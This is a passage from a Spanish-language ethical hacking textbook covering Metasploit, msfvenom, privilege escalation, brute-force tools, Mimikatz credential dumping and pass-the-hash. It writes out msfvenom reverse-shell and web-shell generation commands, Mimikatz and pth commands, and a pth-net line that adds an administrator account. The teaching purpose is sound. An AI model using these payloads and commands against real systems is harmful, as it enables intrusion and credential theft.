Fuente: https://www.exploit-db.com/.

84/265
 https://0day.today/

Imagen 3.2. 0DAY. today?.

Fuente: https://0day.today/.

1.7. Metasploit
Metasploit es una plataforma avanzada de código abierto para desarrollar, probar y utilizar código de
explotación escrito en Ruby. Contiene herramientas de desarrollo orientadas a explotar vulnerabilidades.
Los frameworks estandarizan la sintaxis de uso de exploit y proporcionan capacidades dinámicas de
código shell. Esto significa que, para cada exploit en el framework, se pueden seleccionar diferentes
payloads, como una bind shell , una reverse shell , descarga y ejecución de shellcodes, etc.

Metasploit cuenta con dos principales interfaces de usuario: msfconsole y armitage. La primera y más
común, es una consola interactiva, usada para ejecutar tareas regulares; la segunda, es un add-on de
terceros que proporciona al usuario una interfaz gráfica.

Mediante el comando show se pueden enumerar los diferentes exploits, módulos auxiliares, payloads
y plugins que ofrece este framework tan completo.

Exploits

Organizados en función del sistema operativo y software afectados, lista tanto de client-side como
de server-side .

# show exploits

85/265
Payloads

Hay de múltiples variedades, incluyendo conexiones directas, inversas y por supuesto el

meterpreter, del que hablaremos en el siguiente apartado.

# show payloads

Encoders

Modifica los exploits y los payloads para evadir elementos de seguridad tales como IDS, IPS, AV.

# show encoders

Auxiliary

Módulos de apoyo durante un test de intrusión, la mayoría son relativos a ejercicios de escaneos o
fuerza bruta.

Post

Actividades posteriores a la explotación satisfactoria de una víctima, relacionadas con la

persistencia, transferencia de ficheros, automatización de búsquedas de información y similares.

A continuación, se muestra una parte de cada uno de ellos:

ENLACE

86/265
 2

Además de lo comentado, Metasploit ofrece la posibilidad de realizar numerosas tareas:

ejecutar comandos de sistema

buscar información concreta
consultar si hay más de un módulo ejecutándose
ver las sesiones activas
elegir un exploit
ajustar las opciones de un exploit
seleccionar el payload y ajustarlo

ENLACE

1.7.1. Módulos auxiliares

Los módulos auxiliares proporcionan funcionalidades como enumeración de protocolos, escaneo de

puertos, fuerza bruta, fuzzing, sniffing, etc., que nos puede ayudar en las primeras fases del hacking
ético.

A continuación, se muestra un ejemplo de una simple enumeración SNMP:

ENLACE

Como se ha comentado, otros módulos auxiliares incluyen opciones de fuerza bruta contra
determinados servicios. El mostrado a continuación, se lleva a cabo contra un servidor FTP, donde se
hace fuerza bruta contra el login:
ENLACE

1.7.2. Módulos de exploits

Este framework cuenta con más de 1000 exploits para diferentes plataformas y arquitecturas. Estos se
invocan de la misma manera que en el caso de los módulos auxiliares. A continuación, vamos a mostrar
un ejemplo de explotación del servicio pop3.

Lo primero que tenemos que hacer es seleccionar el host objetivo con el comando set RHOST $ip. El
puerto no es necesario seleccionarlo ya que viene por defecto. Sin embargo, puede darse la situación de
que el servicio se esté ejecutando en otro puerto, por lo que tendríamos que seleccionarlo con set
RPORT $port.

A continuación, vamos a seleccionar el payload, en este caso al tratarse de sistema Windows, una
reverse shell de Windows: set PAYLOAD windows/shell_reverse_tcp.

87/265
 El siguiente paso es configurar nuestro payload añadiendo nuestra IP y puerto de escucha de la shell
que vamos a ejecutar en nuestro objetivo. Esto se hace de la misma manera que se explicó unas líneas
más arriba, con la diferencia que vamos a utilizar LHOST y LPORT, que hacen referencia a nuestra
máquina. Una vez configurado todo, ejecutamos el exploit:
ENLACE

1.7.3. Payloads de Metasploit

Existen dos tipos de payloads: staged y non-staged . En este apartado se van a ver las diferencias entre
ambos.

La mayoría de los exploits pueden ser agrupados en las siguientes categorías:

Sencillos o de un solo paso ( non-staged ): son autocontenidas, se trata habitualmente de la

ejecución de un comando en la víctima que tiene por propósito crear una conexión con el
atacante o crear un usuario en la víctima.

adduser, exec, shell_bind_tcp, shell_reverse_tcp, etc.

Staged/Stagers o de dos pasos: este payload se envía, normalmente, en dos pasos:

La primera parte es payload primario, el stager, que establece una conexión entre la
víctima y el atacante a través de la red mediante bind_tcp, reverse_tcp, reverse_http,
etc.
Stage: es el payload secundario, que contiene el resto del shellcode. Es lo que
realmente se ejecuta en la víctima, una vez se ha establecido la conexión entre la
víctima y el atacante. Normalmente se trata de un programa que se carga la memoria
para evitar que sea fácilmente trazable.
VNC, meterpreter.
Actualmente, los stages incluyen su código en el proceso explotado inyectándose
como DLL.

Se pueden dar diferentes situaciones en las que se precise el uso de staged shellcodes en vez de las
non-staged :

La vulnerabilidad que estamos explotando no tiene suficiente espacio de búfer para contener
u n payload completo. Como la primera parte de un payload staged es más pequeña que un
payload completo, los que son más pequeños a menudo pueden salvarnos en situaciones
complejas.
E l software antivirus detecta código shell incrustado en un exploit. Reemplazando el código
shell incrustado con payload staged , eliminaremos la mayor parte de la parte maliciosa del
código shell y la inyectaremos directamente en la memoria de la máquina víctima.

windows/shell_reverse_tcp - Connect back to attacker and spawn a command shell

windows/shell/reverse_tcp - Connect back to attacker, Spawn cmd shell (staged)

88/265
1.7.4. Generación de shellcode y payloads ejecutables

El framework de Metasploit no solo dispone de una variedad de payloads, sino que también ofrece la
posibilidad de generar la shellcode para incrustar en nuestro exploit y, por otro lado, exportar estos
mismos dentro de diferentes tipos de ficheros y formatos, como son ASP, VBScript, Java War, Windows
DLL y EXE, etc.

Esto es posible gracias a la utilidad msfvenom (https://www.offensive-security.com/metasploit-

unleashed/Msfvenom/). Msfvenom es un framework para generar shellcodes dentro de la herramienta
Metasploit, pero también se puede utilizar por separado.

Las ventajas del uso de msfvenom son:

Se dispone de todo lo necesario en una única herramienta.

Opciones de líneas de comando estandarizadas.
Mayor velocidad.

Imagen 3.3. Creación de payloads ejecutables en Linux.

89/265
Fuente: captura de Kali Linux (htpps://www.kali.org/).
Generación de shellcode

Hay tres tipos de shellcodes: los basados en Linux, en Windows y en Mac.

La generación de shellcodes con msfvenom sigue el siguiente patrón:

Lo primero que vamos a seleccionar es el payload. Para el ejemplo que se va a mostrar, se

ha seleccionado uno básico llamado windows/shell_reverse_tcp, que actúa como un
payload de reverse shell de netcat.
Para consultar los payloads disponibles, podemos escribir en la línea de comandos lo
siguiente:
root@kali:~# msfvenom -l payloads
Es necesario seleccionar el LHOST y LPORT, que, como comentamos anteriormente,
corresponden a la IP y puerto de la máquina atacante desde la que se quiere conectar a la
víctima.
En el ejemplo mostrado a continuación, se ha generado una shellcode en lenguaje c,
compatible con arquitecturas de 32 bits, esto último seleccionado por defecto al no haberlo
especificado previamente en el comando:

ENLACE

En el ejemplo anterior se observa que hay presencia de caracteres nulos, que pueden provocar que
nuestro shellcode sea ejecutado. Msfvenom permite la generación de shellcodes sin este tipo de
caracteres. Además, en el siguiente ejemplo se va a utilizar la opción para codificar el shellcode
generado:
ENLACE

Generación de payloads ejecutables

Este tipo de payloads pueden ser usados como parte de ataques client-side, backdoors o como
método de para pasar un payload de una máquina a otras.

A continuación, se listan los diferentes tipos de payloads ejecutables posibles:

90/265
Binarios

Basados en Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=

<Your Port to Connect On> -f elf > shell.elf

Basados en Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=

<Your Port to Connect On> -f exe > shell.exe

Basados en Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=

<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=

<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f war > shell.war

91/265
 Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your

Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port

to Connect On> -f raw > shell.pl

1.8. Tipos de shells

Bind

El atacante establece la conexión, el shellcode se llama bindshell porque el shellcode se une a un

determinado puerto en la máquina de la víctima.

Reverse

El shellcode establece la conexión, se denomina " reverse shell " o connect-back shellcode porque el
shellcode se conecta a la máquina del atacante.

Reuse-socket

Este tipo de shellcode es mucho menos común. A veces se usa cuando un exploit establece una
conexión con el proceso vulnerable que no se cierra antes de ejecutar el shellcode. El shellcode puede
entonces volver a usar esta conexión para comunicarse con el atacante. La utilización de shellcode es
más elaborada, ya que el shellcode necesita saber qué conexión emplear para volver a usar y la
máquina puede tener muchas conexiones abiertas.

Lectura recomendada:

https://www.offensive-security.com/metasploit-unleashed/

92/265
II. Escalada de privilegios

2.1. Introducción
Una vez completada la fase de explotación y habiendo obtenido un acceso en el sistema remoto, es
posible que el acceso que se ha logrado no disponga de los privilegios adecuados para realizar ciertas
operaciones.

Es en este momento cuando entra en juego la fase de elevación de privilegios, en la que se intenta,
mediante varias técnicas, conseguir un acceso con mayores privilegios que no suponga ningún
impedimento a la hora de poder ejecutar todo tipo de operaciones en el sistema remoto.

2.2. Teoría
El concepto de escalada de privilegios es el resultado de acciones que permiten a un adversario
obtener un mayor nivel de permisos en un sistema o red a partir de un acceso más restringido.

Ciertas herramientas o acciones requieren un mayor nivel de privilegio para poder ejecutarse. No
disponer de los privilegios adecuados puede impedir la operativa de las mismas y, por tanto, el éxito en
mayor o menor medida del compromiso del equipo remoto.

Existen numerosas tácticas para lograr la elevación de privilegios. A continuación, se enumeran las
más comunes.

Fallos en la configuración

En este apartado se incluirían todas las técnicas utilizadas que se aprovechen de un defecto en la
configuración de las aplicaciones, protocolos, tecnologías, etc. Por ejemplo, el uso de contraseñas por
defecto, una mala gestión de los permisos de acceso o modificación de ficheros sensibles, etc.

Debilidades en los mecanismos de autenticación o autorización

Engloba todos los fallos o vulnerabilidades en los mecanismos de autorización. Por ejemplo, que
pueda evadirse el sistema de autenticación de una determinada aplicación o servicio. También se
incluyen fallos o vulnerabilidades en los mecanismos de autorización como que no se compruebe la
autorización de un usuario al acceder a un recurso, que se pueda engañar al sistema de autorización
para que crea que somos un usuario con mayores privilegios, etc.

Ejecución de exploits de escalada de privilegios:

Consiste en la ejecución de exploits, en su mayoría, disponibles de manera pública, que

proporcionan una elevación de privilegios aprovechando alguna vulnerabilidad conocida presente en
el sistema.

93/265
 Inyección en procesos

Su objetivo consiste en intentar inyectar las operaciones deseadas en un proceso que disponga de
privilegios elevados. De esta manera, la operación será ejecutada por el proceso con los privilegios
elevados de los que dispone.

Modificación de servicios

De la misma manera que la técnica anterior, este procedimiento consiste en localizar servicios que
se ejecuten con privilegios elevados, con la finalidad de intentar modificarlos para que realicen las
operaciones elevadas. Dado que las operaciones serán realizadas por el propio servicio, se ejecutarán
con los privilegios elevados del mismo.

Averiguar las credenciales de un usuario privilegiado

Incluye técnicas para averiguar las credenciales de un usuario que disponga de privilegios elevados.
Para ello, se realizan ataques de fuerza bruta, que consisten en probar posibles combinaciones de la
contraseña o usuario/contraseña, sobre una determinada aplicación o servicio hasta que localizan la
contraseña utilizada por el usuario.

Reutilización de hashes o tokens de sesión de usuarios privilegiados

Su objetivo consiste en tratar de capturar y reutilizar hashes de contraseñas o tokens de sesión, de

usuarios privilegiados con la finalidad de reutilizarlos e impersonar al usuario legítimo.

2.3. Escalando privilegios con Metasploit

Aunque ya se presentó el uso de este framework en la fase de explotación, en este apartado se
mostrará el uso de Metasploit únicamente con la finalidad de escalar privilegios en un sistema remoto.

2.3.1. Utilizando meterpreter

Meterpreter es una shell incluida en Metasploit para poder acceder a un equipo remoto o incluso local,
que ha sido comprometido.

Además de proporcionar una consola de comandos remota en el sistema comprometido, dispone de

muchas más funcionalidades como módulos específicos para la recopilación de información del sistema
comprometido, volcar contraseñas disponibles en la memoria RAM del equipo comprometido,
transferencia de fichero al equipo remoto, módulos para pivotar a la red interna, etc.

Dentro de todo el abanico de módulos disponibles, existe una funcionalidad especifica getsystem que
trata de realizar una elevación de privilegios en los sistemas comprometidos que estén ejecutando ciertas
versiones de Microsoft Windows y que no se encuentren debidamente parcheados.

94/265
 Para acometer esta tarea, puede utilizar 4 técnicas diferentes, si invocamos la ayuda del módulo
podremos ver las técnicas utilizadas y el método de invocación.

Imagen 3.4. Técnicas y métodos de invocación en meterpreter.

Fuente: captura de la herramienta meterpreter.

En caso de no forzar el intento de elevación de privilegios con ninguna técnica en concreto, el módulo
getsystem intentará elevar privilegios de manera consecutiva hasta que se consiga elevar privilegios con
alguna de las técnicas disponibles.

En la siguiente ilustración se comprueba cómo se ha realizado una elevación de privilegios mediante

la técnica “Named Pipe Impersonation (In Memory/Admin)”.

Imagen 3.5. Elevación de privilegios mediante la técnica 1.

Fuente: captura de la herramienta meterpreter.

2.3.2. Utilizando exploits específicos

En ciertas ocasiones, dependiendo de la versión del sistema operativo y el nivel de parcheo del mismo,
no es posible realizar una elevación de privilegios mediante el módulo incluido en la shell de
meterpreter.

En estos casos, es necesario utilizar algún exploit de elevación de privilegios que se ejecutará a través
del canal de comunicaciones ya establecido por meterpreter, pero que utilizará alguna vulnerabilidad
conocida para elevar privilegios distinta a las que ya incluye el propio meterpreter. A continuación, se
muestran los distintos exploits disponibles para la elevación de privilegios locales en un sistema
Microsoft Windows.

95/265
Imagen 3.6. Uso de los exploits específicos en meterpreter.
Fuente: captura de la herramienta meterpreter.

A modo de ejemplo, utilizaremos el exploit ms10_015_kitrap0d, dado que la ejecución se realiza

fuera de meterpreter, pero necesitamos mantener la comunicación con el sistema remoto, ponemos la
sesión de meterpreter en background.

Imagen 3.7. Sesión de meterpreter en segundo plano.

Fuente: captura de la herramienta meterpreter.

Seleccionamos el exploit que se va a ejecutar y se configuran las opciones necesarias:

Sesión de meterpreter sobre la que ejecutar el exploit local.

Payload que se ejecutará tras la explotación de la vulnerabilidad y la dirección IP y puerto a la
que se conectará de manera inversa.

96/265
Imagen 3.8. Configuración de opciones en meterpreter.
Fuente: captura de la herramienta meterpreter.

Como podemos comprobar, al ejecutar el exploit, este utilizará la sesión de meterpreter que dejamos
e n background para lanzar el exploit, el cual elevará privilegios y nos devolverá una nueva sesión de
meterpreter, pero con privilegios elevados de nt authority\system

97/265
Imagen 3.9. Elevación de privilegios en meterpreter.
Fuente: captura de la herramienta meterpreter.

2.4. Exploits de escalada de privilegios en local

Aunque el framework de Metasploit resulta bastante funcional, existen ciertas casuísticas en las cuales
no es posible utilizarlo. Por ejemplo, en caso en que se requiera elevar privilegios locales en un equipo al
que tenemos acceso físicamente. Otra casuística es que el exploit que necesitemos utilizar para elevar
privilegios no se encuentre disponible en Metasploit.

Es posible localizar bastantes exploits funcionales en ciertas fuentes (como por ejemplo exploit-
db.com o realizando una búsqueda con la herramienta searchsploit). Estos se aprovechan de alguna
vulnerabilidad conocida para realizar una elevación de privilegios.

Como contrapartida, la morfología de estos exploits es bastante heterogénea, pueden estar

desarrollados en diferentes lenguajes de programación, estar documentados o no, ser versiones
funcionales o pruebas de concepto que necesitan modificarse para que sean funcionales en nuestro
entorno objetivo, etc.

A continuación, se muestra a modo de ejemplo la ejecución de un par de exploits de elevación de

privilegios sobre los sistemas operativos Microsoft Windows y Linux.

2.4.1. Elevación de privilegios en Microsoft Windows

A continuación, se muestra la ejecución de un exploit de elevación de privilegios locales, en sistemas

Windows XP y 2003 Server, que se aprovecha de una vulnerabilidad conocida en el proceso afd.sys ( htt
ps://www.exploit-db.com/exploits/18176/).

Este exploit está desarrollado en lenguaje Python, de esta manera, se podrá ejecutar directamente en el
sistema objetivo siempre que tenga instalado el intérprete de Python. En caso que el intérprete no se
encuentre instalado, se deberá compilar con Python el exploit para que produzca un fichero binario .exe
que integraría el propio motor de Python, para ser ejecutado en cualquier sistema sin necesidad de
disponer del intérprete de Python previamente instalado.

A continuación, se muestra la ejecución del exploit mediante la siguiente invocación.

MS11-080.py -O 2k3

Como se puede apreciar, se han obtenido privilegios de nt authority\system

98/265
Imagen 3.10. Elevación de privilegios de nt authority\system.
Fuente: captura del escritorio de Microsoft Windows.

2.4.2. Elevación de privilegios en Linux

De manera similar, en este caso, se muestra la ejecución de un exploit de elevación de privilegios

locales, en distribuciones Linux con versiones de Kernel comprendidas entre 2.4.4 y 2.4.37.4 o versiones
entre 2.6.0 y 2.6.30.4 que se aprovecha de una vulnerabilidad conocida en el sistema SELinux (https://w
ww.exploit-db.com/raw/9545/)

Dado que este exploit está desarrollado en lenguaje C, será necesario compilarlo según las
instrucciones indicadas en los propios comentarios existentes en el código fuente del exploit.

Imagen 3.11. Elevación de privilegios en Linux.

Fuente: captura de Kali Linux (https://www.kali.org/).

Como podemos comprobar, en el sistema objetivo disponemos de una sesión remota con un usuario
menos privilegiado apache:

Imagen 3.12. Sesión remota en el sistema objetivo.

Fuente: captura de Kali Linux (https://www.kali.org/).

99/265
 Transferimos el exploit previamente compilado al sistema remoto y lo ejecutamos.

Como se puede comprobar, tras la ejecución del exploit, la shell previamente establecida pasa a tener
privilegios elevados como usuario root.

Imagen 3.13. Elevación de privilegios en Linux.

Fuente: captura de Kali Linux (https://www.kali.org/).

Para ampliar conocimientos, se sugiere la siguiente lectura: https://blog.g0tmi1k.com/2011/08

/basic-linux-privilege-escalation/ y el estudio del siguiente script:
https://www.securitysift.com/download/linuxprivchecker.py

2.5. Fuerza bruta de credenciales

Este tipo de ataques consiste en automatizar el proceso de autenticación sobre un determinado servicio
o aplicación con la finalidad de ir probando posibles combinaciones de contraseñas o usuario/contraseña,
hasta averiguar las credenciales de acceso de algún usuario privilegiado.

Dependiendo de la tipología de la infraestructura, es posible que existan mecanismos de protección

contra este tipo de ataques que interrumpen la conexión si detectan que se están realizando un número de
peticiones determinado en un intervalo de tiempo. En estos casos, es necesario comprobar, durante las
fases de enumeración y escaneo, si existe algún sistema de protección que actúe de esta manera, con la
finalidad de ajustar la intensidad con la que se realizan las pruebas para intentar que pasen
desapercibidas.

En este tipo de técnicas, las probabilidades de éxito de localizar credenciales válidas dependen, en
gran medida, de la utilización de un buen diccionario de posibles contraseñas para probar. Además, la
utilización de un buen diccionario limita el número de peticiones qe se van a realizar y reduce el tiempo
necesario para localizar las contraseñas.

100/265
 Existen varias aplicaciones para realizar este tipo de pruebas, cada una de ellas tiene ciertas
características como la compatibilidad con ciertos protocolos o la eficiencia de las mismas en cuanto a la
cantidad de distintas contraseñas por minuto que puede comprobar, etc. En los siguientes apartados se
enumeran algunas de ellas.

2.5.1. Medusa

Es considerada como una herramienta de fuerza bruta bastante rápida, con posibilidad de paralelismo,
utilizada en ataques masivos. Los servicios sobre los que esta herramienta puede operar se encuentran en
el directorio de módulos de la misma (/usr/lib/medusa/modules/):

cvs.mod mysql.mod postgres.mod smtp.mod telnet.mod

ftp.mod ncp.mod rexec.mod smtp-vrfy.mod vmauthd.mod

http.mod nntp.mod rlogin.mod snmp.mod vnc.mod

imap.mod pcanywhere.mod rsh.mod ssh.mod web-form.mod

mssql.mod pop3.mod smbnt.mod svn.mod wrapper.mod

Por ejemplo, para realizar pruebas sobre un determinado directorio web protegido mediante
htaccess se utilizaría el siguiente comando:

medusa -h TARGET_IP -u USUARIO -P FICHERO_PASSWORD -M http -m

DIR/admin -T 10

medusa -h 192.168.10.2 -u root -P password.txt -M http -m DIR/admin -T 10

De manera similar, si queremos probar una única contraseña débil sobre un listado de usuarios,
utilizaríamos el siguiente comando:

medusa -h TARGET_IP -U LISTADO_DE_USUARIOs -p Marzo2018 -M http -m

DIR/admin -T 10

medusa -h 192.168.10.2 -U userlist.txt -p Marzo2018 -M http -m DIR/admin -T 10

2.5.2. ncrack

Al igual que la herramienta anterior, es bastante rápida, incorpora funcionalidades de paralelismo de

las conexiones.

A continuación, se muestra el comando utilizado para realizar un ataque de fuerza bruta sobre el
protocolo RDP.

ncrack -vv --user USUARIO -P LISTADO_DE_PASSWORDS rdp://IP

101/265
 ncrack -vv --user offsec -P password_list.txt rdp://192.168.10.2

Por el contrario, en este otro ejemplo, se muestra el comando utilizado para realizar un ataque de
fuerza bruta sobre el protocolo SSH:

ncrack -p 22 --user root -P 500-worst-passwords.txt 192.168.10.2

2.5.3. hydra

Es parecida a las herramientas anteriores, se recomienda su uso para hacer fuerza bruta sobre las
community string de SNMP.

El siguiente comando muestra la ejecución de un ataque de fuerza bruta, sobre el protocolo snmp, para
averiguar las community strings que proporcionan acceso al servicio.

hydra -P LISTADO_PASSWORDS -v TARGET_HOST protocolo

hydra -P password-file.txt -v 192.168.11.219 snmp

2.5.4. patator

Dispone de un sistema de módulos que soporta la iteración con bastantes protocolos. Aunque la forma
de operar con esta herramienta difiere de las anteriores, es la que más opciones de configuración ofrece,
permitiendo establecer las condiciones necesarias para evaluar la respuesta emitida por el equipo remoto
y considerar si las credenciales introducidas son correctas.

A continuación, se muestra un ejemplo en el que se realiza un ataque de fuerza bruta sobre el

servicio FTP para enumerar nombres de usuario válidos que se encuentren en un listado de usuarios
proporcionado en un fichero. Además, se indica que, si el servidor devuelve el mensaje ‘ Login
incorrect’, se considera que el usuario probado no es válido en el sistema remoto.

ENLACE

En este otro ejemplo, la herramienta trata de averiguar usuarios válidos en el servicio SSH
utilizando una regla basada en el tiempo. Se configura para que, si el servidor SSH devuelve cualquier
respuesta antes de 3 segundos, se considere que el usuario probado no es un usuario válido del
sistema.
ENLACE

102/265
 3

Para terminar, en este caso, la herramienta comprueba si es posible autenticarse en el protocolo

SNMP mediante el usuario “robert” con alguna de las contraseñas que se encuentran en el fichero
“passwords_8.txt”.
ENLACE

2.6. Extracción de credenciales mediante Mimikatz

Mimikatz es una herramienta de código abierto que permite extraer de la

memoria contraseñas en texto plano, hash de contraseñas, tickets de
Kerberos, certificados no exportables, etc.

Está estructurado en distintos módulos, cada uno con varias funcionalidades diferentes para extraer la
información de autenticación que permanezca en memoria.

Para ejecutar correctamente la mayoría de los módulos, es necesario iniciar Mimikatz desde un
usuario privilegiado. En caso contrario, Mimikatz no podrá ejecutar ciertas operaciones reservadas a
usuarios con más privilegios en el sistema.

A continuación, se muestran varias técnicas para extraer de la memoria contraseñas en texto plano,
hashes de contraseñas y tickets de Kerberos. Cualquiera de las opciones mencionadas puede ser utilizada
para autenticarse en un sistema impersonando al usuario legítimo.

2.6.1. Recuperar contraseñas en texto plano

Mimikatz puede recuperar de la memoria las contraseñas en texto plano de los usuarios que hayan
iniciado sesión en el sistema objetivo desde la última vez que se reinició, para ello necesita inyectarse en
el proceso LSASS, para lo cual necesitamos haber iniciado Mimikatz desde una sesión de un usuario
privilegiado.

Para comprobar si se disponen de los privilegios necesarios, se puede utilizar el método privilege de
Mimikatz con la funcionalidad debug:

mimikatz # privilege::debug

Privilege '20' OK

Una vez que comprobamos que disponemos de los privilegios asociados, invocamos al método
sekurlsa con la funcionalidad logonpasswords.

A continuación, se muestra la invocación del comando y cómo se obtienen las credenciales de los
usuarios que hubiesen iniciado sesión, en texto plano.
ENLACE

103/265
2.6.2. Exportar tickets de Kerberos

Los tickets de Kerberos son unos identificadores de sesión, utilizados en las infraestructuras Microsoft
que autentican a un usuario en el sistema local o en sistemas remotos. De tal manera, si se puede extraer
cualquiera de estos tickets, siempre que siga teniendo validez, podremos autenticarnos con él
suplantando la identidad del usuario legítimo.

Al igual que en el ejemplo anterior, Mimikatz puede recuperar de la memoria tickets de autenticación
de Kerberos de todas las sesiones presentes en el sistema objetivo. Para ello también necesita inyectarse
en el proceso LSASS, para lo cual necesitamos haber iniciado Mimikatz desde una sesión de un usuario
privilegiado.

Para poder exportar estos tickets, invocamos al método sekurlsa con la funcionalidad tickets,
indicando además el operador /export para que los tickets se exporten a un fichero.

A continuación, se muestra la invocación del comando y cómo se obtienen las credenciales de los
usuarios que hubiesen iniciado sesión, en texto plano.
ENLACE

2.6.3. Exportar fichero SAM

El fichero SAM contiene los hashes de las contraseñas de los usuarios locales del sistema. Es un
archivo protegido y no es posible acceder a su contenido mientras el sistema operativo se encuentra en
ejecución, dado que en ciertos servicios podemos realizar una autenticación mediante el usuario y el hash
de su contraseña, pudiendo impersonar al usuario legítimo.

Además, estos hashes podrían ser revertidos, mediante el uso de técnicas de cracking, a la contraseña
en claro del usuario.

En este caso, para poder exportar el contenido del fichero SAM, además de haber iniciado sesión
con un usuario privilegiado, es necesario obtener privilegios de NT AUTHORITY\SYSTEM. Esta
operación de obtener privilegios elevados la puede ejecutar directamente Mimikatz a través del
método token con la funcionalidad elevate.

A continuación, se muestra el flujo de operaciones necesarias para realizar esta elevación de

privilegios desde Mimikatz.
ENLACE

104/265
 2

Una vez que se ha realizado esta elevación de privilegios, es posible acceder al contenido del
fichero SAM en memoria. Para acometer esta tarea se ha de invocar al módulo lsadump con la
funcionalidad sam.

A continuación, se muestra el resultado de acceder al contenido del fichero sam, en el que se

muestra el hash NTLM de la contraseña de cada usuario local del sistema.
ENLACE

2.7. Autenticación mediante técnicas “Pass the Hash”

Esta técnica radica en que, en ciertos servicios de Microsoft, es posible realizar la autenticación de un
usuario utilizando el hash LM o NTLM de su contraseña. De esta manera, no es necesario conocer la
contraseña real del mismo.

La principal ventaja radica en que, si logramos acceder a los hashes LM o NTLM de las contraseñas
de los usuarios, no es necesario averiguar estas contraseñas mediante técnicas de cracking que,
dependiendo del equipamiento informático dónde se realicen, podrían tardar entre varias horas y varios
días en averiguar ciertas credenciales a texto plano.

Existen varias herramientas que nos permiten utilizar la técnica de Pass the Hash . A continuación, se
enumeran algunos ejemplos.

2.7.1. Pass the Hash con Metasploit

Existen varios módulos de Metasploit que permiten autenticar a un usuario indicando el hash de su
contraseña.

Por ejemplo, el siguiente módulo auxiliar smb_login comprueba las máquinas remotas donde el
usuario tiene privilegios para hacer login. En este caso, se indica el hash NTLM del usuario para realizar
la autenticación.

Imagen 3.14. Pash the Hash en Metasploit.

Fuente: captura de la herramienta Metasploit.

2.7.2. Pass the Hash con Mimikatz

105/265
 Mimikatz implementa la posibilidad de ejecutar un comando en un equipo remoto mediante la técnica
de Pass the Hash .

sekurlsa::pth /user:nombre_de_usuario /domain:nombre_de_dominio.local

/ntlm:hash_de_tipo_ntlm /run:comando_a_ejecutar

En caso que no se le indique ningún comando para ejecutar, Mimikatz abrirá una shell cmd (en el
equipo local) con los privilegios del usuario indicado.

A continuación, se muestra un ejemplo de la ejecución de dicho proceso:

mimikatz # sekurlsa::pth /user:pdulce /domain:hf.com

/ntlm:426bfc925a85fdb346c6d5b871e6c466

Imagen 3.15. Pash the Hash con Mimikatz.

Fuente: captura de la herramienta Mimikatz.

2.7.3. Pass the hash con pth-toolkit

106/265
 Existe una completa suite pth-toolkit que implementa la ejecución de varias herramientas que
permiten la ejecución de ordenes en el sistema remoto realizando la autenticación mediante el hash
NTLM. A continuación, se muestra el listado completo.

pth-curl

pth-net

pth-rpcclient

pth-smbclient

pth-smbget

pth-sqsh

pth-winexe

pth-wmic

pth-wmis

Por poner algún ejemplo, el comando pth-winexe, es capaz de ejecutar un comando en el equipo
remoto, utilizando el hash NTLM de un usuario dado.

Por ejemplo, para ejecutar un cmd en la máquina remota y que se nos devuelva una shell inversa en
nuestra máquina, se utilizaría el siguiente comando:

pth-winexe -U
Administrator%d7a2630a9ecc4aff186fc03070888283:480d1d426fe52721b915e7870c9e1a8f
//192.168.52.151 cmd.exe

Imagen 3.16. Pash the Hash en Linux.

Fuente: captura de Kali Linux.

De manera similar, también es posible ejecutar los comandos net de Microsoft Windows en el sistema
remoto mediante pth-net e indicando los hashes como en el caso anterior. En este caso se crea un nuevo
usuario y se añade al grupo de administradores locales de la máquina.

pth-net user Usuario1 mysecretpassword /add -I 192.168.1.1

107/265
 pth-net localgroup administrators Usuario1 /add

2.7.4. Autenticándonos en escritorio remoto con Pass the Hash

También es posible autenticarnos con el hash NTLM de un usuario mediante el escritorio remoto, para
ello debemos utilizar la herramienta freerdp.

apt-get install freerdp-x11

freerdp /u:user /d:domain /pth:password /v:remote

En la siguiente imagen se puede apreciar la ejecución de la operación y la autenticación en el escritorio

remoto.

Imagen 3.17. Operación y autenticación en el escritorio remoto.

Fuente: captura de Kali Linux.

2.7.5. Utilizando Pass the Hash en scripts de nmap

De la misma manera, se pueden utilizar los hashes NTLM en scripts de nmap para realizar la
autenticación de los mismos en el sistema remoto.

nmap -p U:137,T:139 –script-args

‘smbuser=mike,smbhash=8846f7eaee8fb117ad06bdd830b7586c’ –script=smb-enum-groups –
script=smb-enum-users 192.168.52.151

2.8. Password cracking

108/265
 La técnica de password cracking consiste en intentar utilizar los hashes de
las contraseñas para averiguar las contraseñas en texto claro.

Por definición, un hash no se puede revertir a su contraseña en texto claro, la única manera de
averiguar la contraseña inicial con la que se generó ese hash consiste en probar posibles combinaciones
de contraseñas y aplicar el mismo algoritmo de hash empleado por el protocolo de hashing utilizado para
almacenar la contraseña. En caso que los hashes coincidan, significará que habremos averiguado la
contraseña, ya que genera el mismo hash.

Existen varias aplicaciones que pueden realizar cracking de distintos tipos de hashes, pero a
continuación mostramos las más utilizadas debido a la cantidad de algoritmos de hashes que soportan,
posibilidad de paralelismo o capacidades de utilizar procesamiento GPU para realizar los cálculos de
hashing.

2.8.1. Jhon the ripper

John the ripper es una herramienta de cracking de contraseñas. Existen 2

versiones, la versión normal y la versión jumbo o community, que soporta
muchos más algoritmos de hashing para realizar el proceso de cracking.

Además, soporta paralelización de procesos, pudiendo indicar el número de cores de CPU que se le
asignan al proceso de cracking.

Otra opción interesante, es que soporta permutaciones de una misma contraseña, es decir, se pueden
indicar reglas específicas para que realice una serie de transformaciones a cada contraseña del
